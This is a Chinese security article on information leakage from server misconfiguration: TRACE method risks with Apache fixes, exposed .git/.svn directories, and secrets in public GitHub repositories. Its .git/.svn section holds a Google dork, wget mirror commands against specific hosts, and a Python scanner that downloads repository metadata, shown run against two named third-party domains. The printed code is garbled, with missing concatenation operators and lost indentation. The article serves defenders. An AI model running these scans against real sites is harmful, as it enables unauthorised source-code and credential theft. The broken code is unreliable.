注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言
信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。
配置不当的分类:
- (1)WEBserver本身:之前发生的nginx等解析漏洞webserver的目录遍历等。
- (2)网络协议相关:snmp弱community、dns域传送、ssh等。
- (3)应用服务相关:压缩文件,备份文件,其他如日志history、phpinfo等,zabbix,jenkins、phpmyadmin、hadoop等。
- (4)系统服务相关:之前暴露的openssl心脏滴血,破壳等。
- (5)人员安全意识:在部署项目的时候 svn,git 信息泄露可导致代码泄露。
0x01 配置不当的防范
(1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。 (2)对线上业务进行定时检查(培训 监控,辅助扫描)。 (3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。
补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件
,通过它实现对数据的采集和管理
0x03 实用案例
TRACE方法信息泄露 漏洞名称:检测到目标服务器启用了TRACE方法 详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。
启用TRACE方法存在如下风险:
- 1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息,如缓存服务器等,从而为进一步的攻击提供便利。
- 2、恶意攻击者可以通过TRACE方法进行XSS攻击。
- 3、即使网站对关键页面启用了HttpOnly头标记和禁止脚本读取cookie信息,但是通过TRACE 方法恶意攻击者还是可以绕过这个限制读取到cookie信息。
解决办法: 1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。 2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:
代码语言:javascript复制RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
.git /.svn 泄露源代码信息 漏洞名称:.git / .svn 配置不当导致源代码泄露 如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。 Google语法查找:
代码语言:javascript复制".git" intitle:"Index of"
Wget命令下载镜像查看
代码语言:javascript复制wget --mirror --include-directories=/.git http://10.10.17.222/test/.git/
wget --no-check-certificate --mirror --include-directories=/.git https://wvvdey-8080-ooqzry.dev.ide.live/.git
#ubuntu@WeiyiGeek:~/10.10.17.222/test/.git$ index.html #克隆镜像到本地
WeiyiGeek.下载get的config
在svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,在svn1.7之后的版本通过访问.svn/wc.db ,存在一个SQLite数据库文件里面
代码语言:javascript复制wget --mirror --include-directories=/.svn http://xxx.com/.svn
auxiliary/scanner/http/svn_scanner #<1.6
auxiliary/scanner/http/svn_wcdb_scanner #>1.7
#如果采用sqlite3查看数据库 sqlite3.exe .svn/wc.db "select * from work _queue"
python gitsvnScan.py http://ricewater.cn/
python gitsvnScan.py http://ftp.yx56.cn/codebase/imgs
[!] .svn/entries写入成功
[!] .svn/wc.db 写入成功
利用代码下载:
代码语言:javascript复制#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : gitsvnScan.py
# @CreateTime : 2019/7/17 9:40
# @Author : WeiyiGeek
# @Function : git与svn信息泄露扫描
# @Software: PyCharm
import sys
import requests
def git(url):
try:
g = requests.get(url 'config', timeout=5)
except Exception as e:
print("[*] 请求失败" str(e))
with open('gitconfig.txt','w') as config:
config.writelines(g.text)
print("[!] .git/config写入成功")
def svn(url):
try:
s = requests.get(url 'entries', timeout=5)
except Exception as e:
print("[*] 请求失败" str(e))
if (s.status_code == 200):
with open('svnentries.txt','w') as config:
config.writelines(s.text)
print("[!] .svn/entries写入成功")
try:
s = requests.get(url 'wc.db', timeout=5)
except Exception as e:
print("[*] 请求失败" str(e))
if (s.status_code == 200):
with open('wc.db', 'wb') as config:
config.write(s.content)
print("[!] .svn/wc.db 写入成功")
def main(url):
gitPath = url '/.git/'
svnPath = url '/.svn/'
try:
g = requests.get(gitPath, timeout=5)
except Exception as e:
print("[*] 请求失败" str(e))
if (g.status_code == 200):
git(gitPath)
try:
s = requests.get(svnPath, timeout=5)
except Exception as e:
print("[*] 请求失败" str(e))
if (s.status_code == 200):
svn(svnPath)
else:
print("URL:", g.url, " status_code:", g.status_code)
print("URL:", s.url, " status_code:", s.status_code)
print("[*] 该站点不存在/.git或者/.svn信息泄露")
if __name__ == '__main__':
if len(sys.argv) <= 1:
print("usage: gitsvnScan.py http://url.com")
sys.exit(1)
main(str(sys.argv[1]))
github 信息泄露 GitHub 的私有仓库是需要花钱才能使用,大部分程序员使用的公共仓库,这就意味着任何人都能查看到你上传的文件,如果文件里包含敏感信息,那么将会造成以下安全隐患:
(1).如果是公司各种应用服务的登陆凭证,黑客可以轻而易举的进入内部人员访问区域,并获取到内部才能获得的信息。 (2).如果是公司的 web 项目代码,黑客可以通过代码审计,更容易的挖掘出漏洞来攻击公司网络。 (3).如果是公司的核心技术代码,可能会被商业竞争对手盗去,对公司造成经济上的损失。 还有就是有些公司直接使用开源项目的代码进行部署,没有对项目代码进行安全审核,如果该开源项目中包含了攻击者的恶意代码,也将会对公司造成安全隐患。
GitHub给开发者来方便的同时存在哪些安全隐患问题:
- ①账号密码泄露(公司邮箱、联系人通讯录、办公vpn等)
- ②核心算法泄露(系统、软件被破解)
- ③API_KEY泄露(利用接口进行攻击等)
- ④服务器key、配置泄露(危害服务器安全)
- ⑤源码泄露(代码被审计,可能被人搞0day)